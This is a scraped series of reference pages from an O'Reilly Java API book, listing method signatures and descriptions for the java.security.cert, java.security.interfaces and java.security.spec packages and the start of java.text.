// | Property Accessor Methods (by property name)
 | public abstract int getBasicConstraints (); |
 | public abstract java.util.Set getCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract java.security.Principal getIssuerDN (); |
 | public abstract boolean[ ] getIssuerUniqueID (); |
 | public abstract boolean[ ] getKeyUsage (); |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract java.util.Date getNotAfter (); |
 | public abstract java.util.Date getNotBefore (); |
 | public abstract java.math.BigInteger getSerialNumber (); |
 | public abstract String getSigAlgName (); |
 | public abstract String getSigAlgOID (); |
 | public abstract byte[ ] getSigAlgParams (); |
 | public abstract byte[ ] getSignature (); |
 | public abstract java.security.Principal getSubjectDN (); |
 | public abstract boolean[ ] getSubjectUniqueID (); |
 | public abstract byte[ ] getTBSCertificate () throws CertificateEncodingException; |
 | public abstract int getVersion (); |
// | Public Instance Methods
 | public abstract void checkValidity () throws CertificateExpiredExceptionCertificateNotYetValidException; |
 | public abstract void checkValidity (java.util.Date date) throws CertificateExpiredExceptionCertificateNotYetValidException; |
// | Methods Implementing X509Extension
 | public abstract java.util.Set getCriticalExtensionOIDs (); |
 | public abstract byte[ ] getExtensionValue (String oid); |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); |
 | public abstract boolean hasUnsupportedCriticalExtension (); |
}

Hierarchy: Object-->java.security.cert.Certificate(Serializable)-->X509Certificate(X509Extension)

X509CRL Java 1.2
java.security.cert

This class represents an X.509 CRL, which consists primarily of a set of X509CRLEntry objects. The various methods of this class provide access to all the details of the CRL. Use verify() to check the digital signature of the CRL to ensure that it does indeed originate from the the source it specifies. Use the inherited isRevoked() method to determine whether a given certificate has been revoked. If you are curious about the revocation date for a revoked certificate, obtain the X509CRLEntry for that certificate by calling getRevokedCertificate(). Call getThisUpdate() to obtain the date this CRL was issued. Use getNextUpdate() to find if the CRL has been superseded by a newer version.

Obtain an X509CRL object by creating a CertificateFactory for certificate type "X.509" and then using the generateCRL() to parse an X.509 CRL from a stream of bytes. Finally, cast the CRL returned by this method to an X509CRL.

public abstract class X509CRL extends CRL implements X509Extension {
// | Protected Constructors
 | protected X509CRL (); |
// | Property Accessor Methods (by property name)
 | public abstract java.util.Set getCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract byte[ ] getEncoded () throws CRLException; |
 | public abstract java.security.Principal getIssuerDN (); |
 | public abstract java.util.Date getNextUpdate (); |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract java.util.Set getRevokedCertificates (); |
 | public abstract String getSigAlgName (); |
 | public abstract String getSigAlgOID (); |
 | public abstract byte[ ] getSigAlgParams (); |
 | public abstract byte[ ] getSignature (); |
 | public abstract byte[ ] getTBSCertList () throws CRLException; |
 | public abstract java.util.Date getThisUpdate (); |
 | public abstract int getVersion (); |
// | Public Instance Methods
 | public abstract X509CRLEntry getRevokedCertificate (java.math.BigInteger serialNumber); |
 | public abstract void verify (java.security.PublicKey key) throws CRLExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyExceptionjava.security.NoSuchProviderExceptionjava.security.SignatureException; |
 | public abstract void verify (java.security.PublicKey key, String sigProvider) throws CRLExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyExceptionjava.security.NoSuchProviderExceptionjava.security.SignatureException; |
// | Methods Implementing X509Extension
 | public abstract java.util.Set getCriticalExtensionOIDs (); |
 | public abstract byte[ ] getExtensionValue (String oid); |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); |
 | public abstract boolean hasUnsupportedCriticalExtension (); |
// | Public Methods Overriding Object
 | public boolean equals (Object other); |
 | public int hashCode (); |
}

Hierarchy: Object-->CRL-->X509CRL(X509Extension)

X509CRLEntry Java 1.2
java.security.cert

This class represents a single entry in an X509CRL. It contains the serial number and revocation date for a revoked certificate.

public abstract class X509CRLEntry implements X509Extension {
// | Public Constructors
 | public X509CRLEntry (); |
// | Property Accessor Methods (by property name)
 | public abstract java.util.Set getCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract byte[ ] getEncoded () throws CRLException; |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); | Implements:X509Extension
 | public abstract java.util.Date getRevocationDate (); |
 | public abstract java.math.BigInteger getSerialNumber (); |
// | Public Instance Methods
 | public abstract boolean hasExtensions (); |
// | Methods Implementing X509Extension
 | public abstract java.util.Set getCriticalExtensionOIDs (); |
 | public abstract byte[ ] getExtensionValue (String oid); |
 | public abstract java.util.Set getNonCriticalExtensionOIDs (); |
 | public abstract boolean hasUnsupportedCriticalExtension (); |
// | Public Methods Overriding Object
 | public boolean equals (Object other); |
 | public int hashCode (); |
 | public abstract String toString (); |
}

Hierarchy: Object-->X509CRLEntry(X509Extension)

Returned By: X509CRL.getRevokedCertificate()

X509Extension Java 1.2
java.security.cert

This interface defines methods for handling a set of extensions to X.509 certificates and CRLs. Each extension has a name, or OID (object identifier), that identifies the type of the extension. An extension may be marked critical or noncritical. Noncritical extensions whose OIDs are not recognized can safely be ignored. However, if a critical exception is not recognized, the Certificate or CRL should be rejected. Each extension in the set has a byte array of data as its value. The interpretation of these bytes depends on the OID of the extension, of course.

public interface X509Extension {
// | Public Instance Methods
 | public abstract java.util.Set getCriticalExtensionOIDs ();
 | public abstract byte[ ] getExtensionValue (String oid);
 | public abstract java.util.Set getNonCriticalExtensionOIDs ();
 | public abstract boolean hasUnsupportedCriticalExtension ();
}

Implementations: X509Certificate, X509CRL, X509CRLEntry

Previous | Home | Next
18.1. The java.security.acl Package | Book Index | 20. The java.security.interfaces Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security.interfaces Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 20. The java.security.interfaces Package

As its name implies, the java.security.interfaces package contains only interfaces. These interfaces define methods that provide algorithm-specific information (such as key values and initialization parameter values) about DSA and RSA public and private keys. If you are using the RSA algorithm, for example, and working with a java.security.PublicKey object, you can cast that PublicKey to an RSAPublicKey object and use the RSA-specific methods defined by RSAPublicKey to query the key value directly. Figure 20-1 shows the class hierarchy of this package.

Figure 20-1. The java.security.interfaces package

The java.security.interfaces package was introduced in Java 1.1. In Java 1.2, the java.security.spec package is the preferred way for obtaining algorithm-specific information about keys and algorithm parameters. This package remains useful in Java 1.2, however, for identifying the type of a given PublicKey or PrivateKey object.

The interfaces in this package are typically of interest only to programmers who are implementing a security provider or who want to implement cryptographic algorithms themselves. Use of this package typically requires some familiarity with the mathematics underlying DSA and RSA public-key cryptography.

DSAKey | Java 1.1
java.security.interfaces | PJ1.1(opt)

This interface defines a method that must be implemented by both public and private DSA keys.

public interface DSAKey {
// | Public Instance Methods
 | public abstract DSAParams getParams ();
}

Implementations: DSAPrivateKey, DSAPublicKey

DSAKeyPairGenerator | Java 1.1
java.security.interfaces | PJ1.1(opt)

This interface defines algorithm-specific KeyPairGenerator initialization methods for DSA keys. To generate a pair of DSA keys, use the static getInstance() factory method of java.security.KeyPairGenerator and specify "DSA" as the desired algorithm name. If you wish to perform DSA-specific initialization, cast the returned KeyPairGenerator to a DSAKeyPairGenerator and call one of the initialize() methods defined by this interface. Finally, generate the keys by calling generateKeyPair() on the KeyPairGenerator.

public interface DSAKeyPairGenerator {
// | Public Instance Methods
 | public abstract void initialize (DSAParams params, java.security.SecureRandom random) throws java.security.InvalidParameterException;
 | public abstract void initialize (int modlen, boolean genParams, java.security.SecureRandom random) throws java.security.InvalidParameterException;
}
DSAParams | Java 1.1
java.security.interfaces | PJ1.1(opt)

This interface defines methods for obtaining the DSA parameters g, p, and q. These methods are useful only if you wish to perform cryptographic computation yourself. Using these methods requires a detailed understanding of the mathematics underlying DSA public-key cryptography.

public interface DSAParams {
// | Public Instance Methods
 | public abstract java.math.BigInteger getG ();
 | public abstract java.math.BigInteger getP ();
 | public abstract java.math.BigInteger getQ ();
}

Implementations: java.security.spec.DSAParameterSpec

Passed To: DSAKeyPairGenerator.initialize()

Returned By: DSAKey.getParams()

DSAPrivateKey | Java 1.1
java.security.interfaces | serializable PJ1.1(opt)

This interface represents a DSA private key and provides direct access to the underlying key value. If you are working with a private key you know is a DSA key, you can cast the PrivateKey to a DSAPrivateKey.

public interface DSAPrivateKey extends DSAKey, java.security.PrivateKey {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =7776497482533790279
// | Public Instance Methods
 | public abstract java.math.BigInteger getX (); |
}

Hierarchy: (DSAPrivateKey(DSAKey,java.security.PrivateKey(java.security.Key(Serializable))))

DSAPublicKey | Java 1.1
java.security.interfaces | serializable PJ1.1(opt)

This interface represents a DSA public key and provides direct access to the underlying key value. If you are working with a public key you know is a DSA key, you can cast the PublicKey to a DSAPublicKey.

public interface DSAPublicKey extends DSAKey, java.security.PublicKey {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =1234526332779022332
// | Public Instance Methods
 | public abstract java.math.BigInteger getY (); |
}

Hierarchy: (DSAPublicKey(DSAKey,java.security.PublicKey(java.security.Key(Serializable))))

RSAKey Java 1.3 Beta
java.security.interfaces

This is a superinterface for RSAPublicKey and RSAPrivateKey; it defines a method shared by both classes. Prior to Java 1.3, the getModulus() method was defined independently by RSAPublicKey and RSAPrivateKey.

public interface RSAKey {
// | Public Instance Methods
 | public abstract java.math.BigInteger getModulus ();
}

Implementations: RSAPrivateKey, RSAPublicKey

RSAPrivateCrtKey | Java 1.2
java.security.interfaces | serializable

This interface extends RSAPrivateKey and provides a decomposition (based on the Chinese remainder theorem) of the private-key value into the various pieces that comprise it. This interface is useful only if you plan to implement your own cryptographic algorithms. To use this interface, you must have a detailed understanding of the mathematics underlying RSA public-key cryptography. Given a java.security.PrivateKey object, you can use the instanceof operator to determine whether you can safely cast it to an RSAPrivateCrtKey.

public interface RSAPrivateCrtKey extends RSAPrivateKey {
// | Property Accessor Methods (by property name)
 | public abstract java.math.BigInteger getCrtCoefficient ();
 | public abstract java.math.BigInteger getPrimeExponentP ();
 | public abstract java.math.BigInteger getPrimeExponentQ ();
 | public abstract java.math.BigInteger getPrimeP ();
 | public abstract java.math.BigInteger getPrimeQ ();
 | public abstract java.math.BigInteger getPublicExponent ();
}

Hierarchy: (RSAPrivateCrtKey(RSAPrivateKey(java.security.PrivateKey(java.security.Key(Serializable)),RSAKey)))

RSAPrivateKey | Java 1.2
java.security.interfaces | serializable

This interface represents an RSA private key and provides direct access to the underlying key values. If you are working with a private key you know is an RSA key, you can cast the PrivateKey to an RSAPrivateKey.

public interface RSAPrivateKey extends java.security.PrivateKey, RSAKey {
// | Public Instance Methods
 | public abstract java.math.BigInteger getPrivateExponent ();
}

Hierarchy: (RSAPrivateKey(java.security.PrivateKey(java.security.Key(Serializable)),RSAKey))

Implementations: RSAPrivateCrtKey

RSAPublicKey | Java 1.2
java.security.interfaces | serializable

This interface represents an RSA public key and provides direct access to the underlying key values. If you are working with a public key you know is an RSA key, you can cast the PublicKey to an RSAPublicKey.

public interface RSAPublicKey extends java.security.PublicKey, RSAKey {
// | Public Instance Methods
 | public abstract java.math.BigInteger getPublicExponent ();
}

Hierarchy: (RSAPublicKey(java.security.PublicKey(java.security.Key(Serializable)),RSAKey))

Previous | Home | Next
19.1. The java.security.cert Package | Book Index | 21. The java.security.spec Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security.spec Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 21. The java.security.spec Package

The java.security.spec package contains classes that define transparent representations for DSA and RSA public and private keys and for X.509 and PKCS#8 encodings of those keys. It also defines a transparent representation for DSA algorithm parameters. The classes in this package are used in conjunction with java.security.KeyFactory and java.security.AlgorithmParameters for converting opaque Key and AlgorithmParameters objects to and from transparent representations. Figure 21-1 shows the class hierarchy of this package.

Figure 21-1. The java.security.spec package

This package is not frequently used. To make use of it, you must be somewhat familiar with the mathematics that underlies DSA and RSA public-key encryption and the encoding standards that specify how keys are encoded as byte streams.

AlgorithmParameterSpec Java 1.2
java.security.spec

This interface defines no methods; it marks classes that define a transparent representation of cryptographic parameters. You can use an AlgorithmParameterSpec object to initialize an opaque java.security.AlgorithmParameters object.

public interface AlgorithmParameterSpec {
}

Implementations: DSAParameterSpec, RSAKeyGenParameterSpec, javax.crypto.spec.DHGenParameterSpec, javax.crypto.spec.DHParameterSpec, javax.crypto.spec.IvParameterSpec, javax.crypto.spec.PBEParameterSpec, javax.crypto.spec.RC2ParameterSpec, javax.crypto.spec.RC5ParameterSpec

Passed To: Too many methods to list.

Returned By: java.security.AlgorithmParameters.getParameterSpec(), java.security.AlgorithmParametersSpi.engineGetParameterSpec()

DSAParameterSpec Java 1.2
java.security.spec

This class represents algorithm parameters used with DSA public-key cryptography.

public class DSAParameterSpec implements AlgorithmParameterSpecjava.security.interfaces.DSAParams {
// | Public Constructors
 | public DSAParameterSpec (java.math.BigInteger p, java.math.BigInteger q, java.math.BigInteger g);
// | Methods Implementing DSAParams
 | public java.math.BigInteger getG ();
 | public java.math.BigInteger getP ();
 | public java.math.BigInteger getQ ();
}

Hierarchy: Object-->DSAParameterSpec(AlgorithmParameterSpec,java.security.interfaces.DSAParams)

DSAPrivateKeySpec Java 1.2
java.security.spec

This class is a transparent representation of a DSA private key.

public class DSAPrivateKeySpec implements KeySpec {
// | Public Constructors
 | public DSAPrivateKeySpec (java.math.BigInteger x, java.math.BigInteger p, java.math.BigInteger q, java.math.BigInteger g);
// | Public Instance Methods
 | public java.math.BigInteger getG ();
 | public java.math.BigInteger getP ();
 | public java.math.BigInteger getQ ();
 | public java.math.BigInteger getX ();
}

Hierarchy: Object-->DSAPrivateKeySpec(KeySpec)

DSAPublicKeySpec Java 1.2
java.security.spec

This class is a transparent representation of a DSA public key.

public class DSAPublicKeySpec implements KeySpec {
// | Public Constructors
 | public DSAPublicKeySpec (java.math.BigInteger y, java.math.BigInteger p, java.math.BigInteger q, java.math.BigInteger g);
// | Public Instance Methods
 | public java.math.BigInteger getG ();
 | public java.math.BigInteger getP ();
 | public java.math.BigInteger getQ ();
 | public java.math.BigInteger getY ();
}

Hierarchy: Object-->DSAPublicKeySpec(KeySpec)

EncodedKeySpec Java 1.2
java.security.spec

This abstract class represents a public or private key in an encoded format. It serves as the superclass for encoding-specific classes.

public abstract class EncodedKeySpec implements KeySpec {
// | Public Constructors
 | public EncodedKeySpec (byte[ ] encodedKey);
// | Public Instance Methods
 | public byte[ ] getEncoded ();
 | public abstract String getFormat ();
}

Hierarchy: Object-->EncodedKeySpec(KeySpec)

Subclasses: PKCS8EncodedKeySpec, X509EncodedKeySpec

InvalidKeySpecException | Java 1.2
java.security.spec | serializable checked

Signals a problem with a KeySpec.

public class InvalidKeySpecException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public InvalidKeySpecException ();
 | public InvalidKeySpecException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->InvalidKeySpecException

Thrown By: java.security.KeyFactory.{generatePrivate(), generatePublic(), getKeySpec()}, java.security.KeyFactorySpi.{engineGeneratePrivate(), engineGeneratePublic(), engineGetKeySpec()}, javax.crypto.SecretKeyFactory.{generateSecret(), getKeySpec()}, javax.crypto.SecretKeyFactorySpi.{engineGenerateSecret(), engineGetKeySpec()}

InvalidParameterSpecException | Java 1.2
java.security.spec | serializable checked

Signals a problem with an AlgorithmParameterSpec.

public class InvalidParameterSpecException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public InvalidParameterSpecException ();
 | public InvalidParameterSpecException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->InvalidParameterSpecException

Thrown By: java.security.AlgorithmParameters.{getParameterSpec(), init()}, java.security.AlgorithmParametersSpi.{engineGetParameterSpec(), engineInit()}

KeySpec Java 1.2
java.security.spec

This interface defines no methods; it marks classes that define a transparent representation of a cryptographic key. Use a java.security.KeyFactory to convert a KeySpec to and from an opaque java.security.Key.

public interface KeySpec {
}

Implementations: DSAPrivateKeySpec, DSAPublicKeySpec, EncodedKeySpec, RSAPrivateKeySpec, RSAPublicKeySpec, javax.crypto.spec.DESedeKeySpec, javax.crypto.spec.DESKeySpec, javax.crypto.spec.DHPrivateKeySpec, javax.crypto.spec.DHPublicKeySpec, javax.crypto.spec.PBEKeySpec, javax.crypto.spec.SecretKeySpec

Passed To: java.security.KeyFactory.{generatePrivate(), generatePublic()}, java.security.KeyFactorySpi.{engineGeneratePrivate(), engineGeneratePublic()}, javax.crypto.SecretKeyFactory.generateSecret(), javax.crypto.SecretKeyFactorySpi.engineGenerateSecret()

Returned By: java.security.KeyFactory.getKeySpec(), java.security.KeyFactorySpi.engineGetKeySpec(), javax.crypto.SecretKeyFactory.getKeySpec(), javax.crypto.SecretKeyFactorySpi.engineGetKeySpec()

PKCS8EncodedKeySpec Java 1.2
java.security.spec

This class represents a private key, encoded according to the PKCS#8 standard.

public class PKCS8EncodedKeySpec extends EncodedKeySpec {
// | Public Constructors
 | public PKCS8EncodedKeySpec (byte[ ] encodedKey);
// | Public Methods Overriding EncodedKeySpec
 | public byte[ ] getEncoded ();
 | public final String getFormat ();
}

Hierarchy: Object-->EncodedKeySpec(KeySpec)-->PKCS8EncodedKeySpec

RSAKeyGenParameterSpec Java 1.3 Beta
java.security.spec

This class represents parameters that generate public/private key pairs for RSA cryptography.

public class RSAKeyGenParameterSpec implements AlgorithmParameterSpec {
// | Public Constructors
 | public RSAKeyGenParameterSpec (int keysize, java.math.BigInteger publicExponent);
// | Public Constants
 | public static final java.math.BigInteger F0 ;
 | public static final java.math.BigInteger F4 ;
// | Public Instance Methods
 | public int getKeysize ();
 | public java.math.BigInteger getPublicExponent ();
}

Hierarchy: Object-->RSAKeyGenParameterSpec(AlgorithmParameterSpec)

RSAPrivateCrtKeySpec Java 1.2
java.security.spec

This class is a transparent representation of an RSA private key including, for convenience, the Chinese remainder theorem values associated with the key.

public class RSAPrivateCrtKeySpec extends RSAPrivateKeySpec {
// | Public Constructors
 | public RSAPrivateCrtKeySpec (java.math.BigInteger modulus, java.math.BigInteger publicExponent, java.math.BigInteger privateExponent, java.math.BigInteger primeP, java.math.BigInteger primeQ, java.math.BigInteger primeExponentP, java.math.BigInteger primeExponentQ, java.math.BigInteger crtCoefficient);
// | Property Accessor Methods (by property name)
 | public java.math.BigInteger getCrtCoefficient ();
 | public java.math.BigInteger getPrimeExponentP ();
 | public java.math.BigInteger getPrimeExponentQ ();
 | public java.math.BigInteger getPrimeP ();
 | public java.math.BigInteger getPrimeQ ();
 | public java.math.BigInteger getPublicExponent ();
}

Hierarchy: Object-->RSAPrivateKeySpec(KeySpec)-->RSAPrivateCrtKeySpec

RSAPrivateKeySpec Java 1.2
java.security.spec

This class is a transparent representation of an RSA private key.

public class RSAPrivateKeySpec implements KeySpec {
// | Public Constructors
 | public RSAPrivateKeySpec (java.math.BigInteger modulus, java.math.BigInteger privateExponent);
// | Public Instance Methods
 | public java.math.BigInteger getModulus ();
 | public java.math.BigInteger getPrivateExponent ();
}

Hierarchy: Object-->RSAPrivateKeySpec(KeySpec)

Subclasses: RSAPrivateCrtKeySpec

RSAPublicKeySpec Java 1.2
java.security.spec

This class is a transparent representation of an RSA public key.

public class RSAPublicKeySpec implements KeySpec {
// | Public Constructors
 | public RSAPublicKeySpec (java.math.BigInteger modulus, java.math.BigInteger publicExponent);
// | Public Instance Methods
 | public java.math.BigInteger getModulus ();
 | public java.math.BigInteger getPublicExponent ();
}

Hierarchy: Object-->RSAPublicKeySpec(KeySpec)

X509EncodedKeySpec Java 1.2
java.security.spec

This class represents a public or private key encoded according to the X.509 standard.

public class X509EncodedKeySpec extends EncodedKeySpec {
// | Public Constructors
 | public X509EncodedKeySpec (byte[ ] encodedKey);
// | Public Methods Overriding EncodedKeySpec
 | public byte[ ] getEncoded ();
 | public final String getFormat ();
}

Hierarchy: Object-->EncodedKeySpec(KeySpec)-->X509EncodedKeySpec

Previous | Home | Next
20.1. The java.security.interfaces Package | Book Index | 22. The java.text Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.text Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 22. The java.text Package

The java.text package consists of classes and interfaces that are useful for writing internationalized programs that handle local customs, such as date and time formatting and string alphabetization, correctly. This package is new as of Java 1.1. Figure 22-1 shows its class hierarchy.

The NumberFormat class formats numbers, monetary quantities, and percentages as appropriate for the default or specified locale. DateFormat formats dates and times in a locale-specific way. The concrete DecimalFormat and SimpleDateFormat subclasses of these classes can be used for customized number, date, and time formatting. MessageFormat allows substitution of dynamic values, including formatted numbers and dates, into static message strings. ChoiceFormat formats a number using an enumerated set of string values. Collator compares strings according to the customary sorting order for a locale. BreakIterator scans text to find word, line, and sentence boundaries following locale-specific rules.

Figure 22-1. The java.text package

Annotation Java 1.2
java.text

This class is a wrapper for a the value of a text attribute that represents an annotation. Annotations differ from other types of text attributes in two ways. First, annotations are linked to the text they are applied to, so changing the text invalidates or corrupts the meaning of the annotation. Second, annotations cannot be merged with adjacent annotations, even if they have the same value. Putting an annotation value in an Annotation wrapper serves to indicate these special characteristics. Note that two of the attribute keys defined by AttributedCharaterIterator.Attribute, READING and INPUT_METHOD_SEGMENT, must be used with Annotation objects.

public class Annotation {
// | Public Constructors
 | public Annotation (Object value);
// | Public Instance Methods
 | public Object getValue ();
// | Public Methods Overriding Object
 | public String toString ();
}
AttributedCharacterIterator | Java 1.2
java.text | cloneable

This interface extends CharacterIterator for working with text that is marked up with attributes in some way. It defines an inner class, AttributedCharaterIterator.Attribute, that represents attribute keys. AttributedCharacterIterator defines methods for querying the attribute keys, values, and runs for the text being iterated over. getAllAttributeKeys() returns the Set of all attribute keys that appear anywhere in the text. getAttributes() returns a Map that contains the attribute keys and values that apply to the current character. getAttribute() returns the value associated with the specified attribute key for the current character.

getRunStart() and getRunLimit() return the index of the first and last characters in a run. A run is a string of adjacent characters for which an attribute has the same value or is undefined (i.e., has a value of null). A run can also be defined for a set of attributes, in which case it is a set of adjacent characters for which all attributes in the set hold a constant value (which may include null). Programs that process or display attributed text must usually work with it one run at a time. The no-argument versions of getRunStart() and getRunLimit() return the start and end of the run that includes the current character and all attributes that are applied to the current character. The other versions of these methods return the start and end of the run of the specified attribute or set of attributes that includes the current character.

The AttributedString class provides a simple way to define short strings of attributed text and obtain an AttributedCharacterIterator over them. Most applications that process attributed text are working with attributed text from specialized data sources, stored in some specialized data format, so they need to define a custom implementation of AttributedCharacterIterator.

public interface AttributedCharacterIterator extends CharacterIterator {
// | Inner Classes
 | ;
// | Public Instance Methods
 | public abstract java.util.Set getAllAttributeKeys ();
 | public abstract Object getAttribute (AttributedCharacterIterator.Attribute attribute);
 | public abstract java.util.Map getAttributes ();
 | public abstract int getRunLimit ();
 | public abstract int getRunLimit (java.util.Set attributes);
 | public abstract int getRunLimit (AttributedCharacterIterator.Attribute attribute);
 | public abstract int getRunStart ();
 | public abstract int getRunStart (AttributedCharacterIterator.Attribute attribute);
 | public abstract int getRunStart (java.util.Set attributes);
}

Hierarchy: (AttributedCharacterIterator(CharacterIterator(Cloneable)))

Passed To: Too many methods to list.

Returned By: java.awt.event.InputMethodEvent.getText(), java.awt.im.InputMethodRequests.{cancelLatestCommittedText(), getCommittedText(), getSelectedText()}, AttributedString.getIterator()

AttributedCharacterIterator.Attribute | Java 1.2
java.text | serializable

This class defines the types of the attribute keys used with AttributedCharacterIterator and AttributedString. It defines several constant Attribute keys that are commonly used with multilingual text and input methods. The LANGUAGE key represents the language of the underlying text. The value of this key should be a Locale object. The READING key represents arbitrary reading information associated with text. The value must be an Annotation object. The INPUT_METHOD_SEGMENT key serves to define text segments (usually words) that an input method operates on. The value of this attribute should be an Annotation object that contains null. Other classes may subclass this class and define other attribute keys that are useful in other circumstances or problem domains. See, for example, java.awt.font.TextAttribute in Java Foundation Classes in a Nutshell (O'Reilly).

public static class AttributedCharacterIterator.Attribute implements Serializable {
// | Protected Constructors
 | protected Attribute (String name);
// | Public Constants
 | public static final AttributedCharacterIterator.Attribute INPUT_METHOD_SEGMENT ;
 | public static final AttributedCharacterIterator.Attribute LANGUAGE ;
 | public static final AttributedCharacterIterator.Attribute READING ;
// | Public Methods Overriding Object
 | public final boolean equals (Object obj);
 | public final int hashCode ();
 | public String toString ();
// | Protected Instance Methods
 | protected String getName ();
 | protected Object readResolve () throws java.io.InvalidObjectException;
}

Subclasses: java.awt.font.TextAttribute

Passed To: java.awt.im.InputMethodRequests.{cancelLatestCommittedText(), getCommittedText(), getSelectedText()}, AttributedCharacterIterator.{getAttribute(), getRunLimit(), getRunStart()}, AttributedString.{addAttribute(), AttributedString(), getIterator()}

Returned By: java.awt.Font.getAvailableAttributes()

Type Of: AttributedCharacterIterator.Attribute.{INPUT_METHOD_SEGMENT, LANGUAGE, READING}

AttributedString Java 1.2
java.text

This class represents text and associated attributes. An AttributedString can be defined in terms of an underlying AttributedCharacterIterator or an underlying String. Additional attributes can be specified with the addAttribute() and addAttributes() methods. getIterator() returns an AttributedCharacterIterator over the AttributedString or over a specified portion of the string. Note that two of the getIterator() methods take an array of Attribute keys as an argument. These methods return an AttributedCharacterIterator that ignores all attributes that are not in the specified array. If the array argument is null, however, the returned iterator contains all attributes.

public class AttributedString {
// | Public Constructors
 | public AttributedString (String text);
 | public AttributedString (AttributedCharacterIterator text);
 | public AttributedString (String text, java.util.Map attributes);
 | public AttributedString (AttributedCharacterIterator text, int beginIndex, int endIndex);
 | public AttributedString (AttributedCharacterIterator text, int beginIndex, int endIndex, AttributedCharacterIterator.Attribute[ ] attributes);
// | Public Instance Methods
 | public void addAttribute (AttributedCharacterIterator.Attribute attribute, Object value);
 | public void addAttribute (AttributedCharacterIterator.Attribute attribute, Object value, int beginIndex, int endIndex);
 | public void addAttributes (java.util.Map attributes, int beginIndex, int endIndex);
 | public AttributedCharacterIterator getIterator ();
 | public AttributedCharacterIterator getIterator (AttributedCharacterIterator.Attribute[ ] attributes);
 | public AttributedCharacterIterator getIterator (AttributedCharacterIterator.Attribute[ ] attributes, int beginIndex, int endIndex);
}
BreakIterator | Java 1.1
java.text | cloneable PJ1.1

This class determines character, word, sentence, and line breaks in a block of text in a way that is independent of locale and text encoding. As an abstract class, BreakIterator cannot be instantiated directly. Instead, you must use one of the class methods getCharacterInstance(), getWordInstance(), getSentenceInstance(), or getLineInstance() to return an instance of a nonabstract subclass of BreakIterator. These various factory methods return a BreakIterator object that is configured to locate the requested boundary types and is localized to work for the optionally specified locale.

Once you have obtained an appropriate BreakIterator object, use setText() to specify the text in which to locate boundaries. To locate boundaries in a Java String object, simply specify the string. To locate boundaries in text that uses some other encoding, you must specify a CharacterIterator object for that text so that the BreakIterator object can locate the individual characters of the text. Having set the text to be searched, you can determine the character positions of characters, words, sentences, or line breaks with the first(), last(), next(), previous(), current(), and following() methods, which perform the obvious functions. Note that these methods do not return text itself, but merely the position of the appropriate word, sentence, or line break.

public abstract class BreakIterator implements Cloneable {
// | Protected Constructors
 | protected BreakIterator (); |
// | Public Constants
 | public static final int DONE ; | =-1
// | Public Class Methods
 | public static java.util.Locale[ ] getAvailableLocales (); | synchronized
 | public static BreakIterator getCharacterInstance (); |
 | public static BreakIterator getCharacterInstance (java.util.Locale where); |
 | public static BreakIterator getLineInstance (); |
 | public static BreakIterator getLineInstance (java.util.Locale where); |
 | public static BreakIterator getSentenceInstance (); |
 | public static BreakIterator getSentenceInstance (java.util.Locale where); |
 | public static BreakIterator getWordInstance (); |
 | public static BreakIterator getWordInstance (java.util.Locale where); |
// | Public Instance Methods
 | public abstract int current (); |
 | public abstract int first (); |
 | public abstract int following (int offset); |
 | public abstract CharacterIterator getText (); |
1.2 | public boolean isBoundary (int offset); |
 | public abstract int last (); |
 | public abstract int next (); |
 | public abstract int next (int n); |
1.2 | public int preceding (int offset); |
 | public abstract int previous (); |
 | public abstract void setText (CharacterIterator newText); |
 | public void setText (String newText); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->BreakIterator(Cloneable)

Passed To: java.awt.font.LineBreakMeasurer.LineBreakMeasurer()

Returned By: BreakIterator.{getCharacterInstance(), getLineInstance(), getSentenceInstance(), getWordInstance()}

CharacterIterator | Java 1.1
java.text | cloneable PJ1.1

This interface defines an API for portably iterating through the characters that make up a string of text, regardless of the encoding of that text. Such an API is necessary because the number of bytes per character is different for different encodings, and some encodings even use variable-width characters within the same string of text. In addition to allowing iteration, a class that implements the CharacterIterator interface for non-Unicode text also performs translation of characters from their native encoding to standard Java Unicode characters.

CharacterIterator is similar to java.util.Enumeration, but is somewhat more complex than that interface. The first() and last() methods return the first and last characters in the text, and the next() and prev() methods allow you to loop forward or backwards through the characters of the text. These methods return the DONE constant when they go beyond the first or last character in the text; a test for this constant can be used to terminate a loop. The CharacterIterator interface also allows random access to the characters in a string of text. The getBeginIndex() and getEndIndex() methods return the character positions for the start and end of the string, and setIndex() sets the current position. getIndex() returns the index of the current position, and current() returns the character at that position.

public interface CharacterIterator extends Cloneable {
// | Public Constants
 | public static final char DONE ; | ='\uFFFF'
// | Public Instance Methods
 | public abstract Object clone (); |
 | public abstract char current (); |
 | public abstract char first (); |
 | public abstract int getBeginIndex (); |
 | public abstract int getEndIndex (); |
 | public abstract int getIndex (); |
 | public abstract char last (); |
 | public abstract char next (); |
 | public abstract char previous (); |
 | public abstract char setIndex (int position); |
}

Hierarchy: (CharacterIterator(Cloneable))

Implementations: AttributedCharacterIterator, StringCharacterIterator, javax.swing.text.Segment

